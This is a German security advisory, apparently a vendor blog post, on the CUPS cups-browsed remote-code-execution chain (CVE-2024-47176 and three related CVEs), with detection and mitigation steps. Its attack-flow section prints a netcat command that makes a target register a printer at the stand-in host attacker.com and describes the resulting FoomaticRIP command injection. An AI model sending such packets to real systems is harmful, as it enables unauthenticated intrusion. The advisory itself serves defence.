剣 KENSAI
Kritisch CVE-2024-47176 Oktober 2024 · 9 Min. Lesezeit

CVE-2024-47176: CUPS-RCE unter Linux — 300.000 über das Internet erreichbare Systeme

Eine Kette aus vier CUPS-Schwachstellen (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) ermöglicht die nicht authentifizierte Ausführung von Schadcode aus der Ferne auf Linux-Systemen, auf denen cups-browsed ausgeführt wird. Zum Zeitpunkt der Offenlegung waren mehr als 300.000 Systeme über das Internet erreichbar. Standardmäßig betroffen sind Ubuntu, Debian, Red Hat, Fedora und die meisten Linux-Distributionen.


9.9
KRITISCH
AttributWert
Primäre CVECVE-2024-47176
Zugehörige CVEsCVE-2024-47076, -47175, -47177
CVSS-VektorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: Unzureichende Eingabevalidierung
Veröffentlicht26. September 2024
AusnutzungÖffentlicher PoC — opportunistische Scans beobachtet

Was ist CVE-2024-47176?

CUPS (Common Unix Printing System) ist die standardmäßige Druckinfrastruktur unter Linux und macOS. Der Daemon cups-browsed lauscht auf UDP-Port 631 auf Druckerankündigungen im Netzwerk. CVE-2024-47176 bildet den Einstiegspunkt einer Kette aus vier Schwachstellen: cups-browsed akzeptiert UDP-Pakete aus beliebigen Quellen, einschließlich des Internets, ohne Authentifizierung.

Durch das Senden eines präparierten UDP-Pakets an Port 631 kann ein Angreifer das System des Opfers dazu bringen, eine Verbindung zu einem vom Angreifer kontrollierten „Drucker“ herzustellen. Der schädliche Drucker stellt eine präparierte PPD-Datei (PostScript Printer Description) mit eingebetteten Befehlen bereit. Sobald das Opfer irgendetwas druckt, werden diese Befehle auf seinem System ausgeführt.

Die vollständige Angriffskette

CVEKomponenteBeschreibung
CVE-2024-47176cups-browsedBindet sich an UDP 0.0.0.0:631 und akzeptiert Pakete von jeder IP-Adresse
CVE-2024-47076libcupsfiltersIPP-Attributwerte werden beim Erstellen von PPD-Dateien nicht bereinigt
CVE-2024-47175libppdBei der Erzeugung von PPD-Dateien werden IPP-Attribute nicht bereinigt
CVE-2024-47177cups-filtersFoomaticRIPCommandLine ermöglicht die Ausführung beliebiger Befehle

Angriffsablauf

# Schritt 1: Der Angreifer sendet ein UDP-Paket an das Ziel:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Schritt 2: cups-browsed ruft IPP-Attribute vom Server des Angreifers ab
# Der Server des Angreifers gibt schädliche Druckerattribute zurück

# Schritt 3: libcupsfilters/libppd erstellt eine PPD-Datei mit nicht bereinigten Angreiferdaten
# Die PPD-Datei enthält: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Schritt 4: Wenn ein Benutzer das nächste Mal druckt (oder ein Administrator einen Testdruck auslöst):
# FoomaticRIP führt den Befehl aus der PPD-Datei aus
# Der Befehl wird als Benutzer lp ausgeführt (der häufig über weitreichenden Dateisystemzugriff verfügt)

⚠ Nach der Einrichtung ist keine Benutzerinteraktion erforderlich

Der Angreifer muss nur ein einziges UDP-Paket senden, um den schädlichen Drucker einzurichten. Die Ausnutzung wird anschließend ausgelöst, sobald ein beliebiger Benutzer des Systems versucht zu drucken — einschließlich routinemäßiger Druckaufträge, die möglicherweise erst Stunden oder Tage später erfolgen. Auf Servern könnte ein Angreifer die Ausnutzung auch aus der Ferne auslösen, indem er einen Druckauftrag an den neu installierten schädlichen Drucker sendet.

Ausmaß der Auswirkungen

Zum Zeitpunkt der Offenlegung identifizierten Scans von Shodan und Censys etwa 300.000 über das Internet erreichbare Systeme mit geöffnetem UDP-Port 631. Die Schwachstelle betrifft praktisch jede große Linux-Distribution, die cups-browsed mitliefert:

macOS ist nicht betroffen, da es einen eigenen Druck-Stack verwendet. Allerdings nutzt macOS intern ebenfalls CUPS, sodass bestimmte Konfigurationen von verwandten Problemen betroffen sein können.

Erkennung

# Prüfen, ob cups-browsed ausgeführt wird
systemctl status cups-browsed
ps aux | grep cups-browsed

# Prüfen, ob UDP 631 erreichbar ist
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Auf unerwartet hinzugefügte Drucker prüfen
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Nach verdächtigen PPD-Dateien suchen
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Protokolle auf unerwartete IPP-Verbindungen prüfen
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

Gegenmaßnahmen

  1. cups-browsed stoppen und deaktivieren, wenn der Dienst nicht benötigt wird:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. Patches installieren: cups-browsed 2.0.1 und cups-filters 2.0.1 beheben die Schwachstellen. Ubuntu, Debian und Red Hat veröffentlichten innerhalb weniger Tage nach der Offenlegung entsprechende Patches.
  3. UDP-Port 631 an der Firewall blockieren: Verhindern, dass externe Pakete cups-browsed erreichen
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. FoomaticRIP entfernen, wenn es nicht benötigt wird: Der letzte RCE-Schritt erfordert foomatic-rip. Durch dessen Entfernung (sofern keine Foomatic-Drucker verwendet werden) wird die Möglichkeit zur Codeausführung beseitigt.
  5. Druckerkonfigurationen überprüfen: Alle unbekannten Druckereinträge aus /etc/cups/printers.conf entfernen

💡 Die meisten Server sind nicht gefährdet: Bei Serverinstallationen von Linux wird cups-browsed üblicherweise nicht standardmäßig installiert. Das höhere Risiko besteht bei Linux-Arbeitsstationen und Entwicklungsrechnern. Dennoch sollte jedes Linux-System überprüft werden, das für das Drucken konfiguriert wurde.

Erkennungsfunktionen von KENSAI

Auf wie vielen Linux-Systemen in Ihrer Umgebung ist cups-browsed erreichbar?

KENSAI scannt Ihre interne und externe Angriffsfläche auf CUPS-Schwachstellen in allen Linux-Systemen. Verschaffen Sie sich innerhalb weniger Minuten einen vollständigen Überblick.

Offengelegte CUPS-Dienste finden →

Verwandte Artikel

CISA verkürzt Patch-Fristen, das Weiße Haus überarbeitet seine Cyberstrategie Die Cyberdivergenz zwischen den USA und der EU verschärft sich Weiterleitung...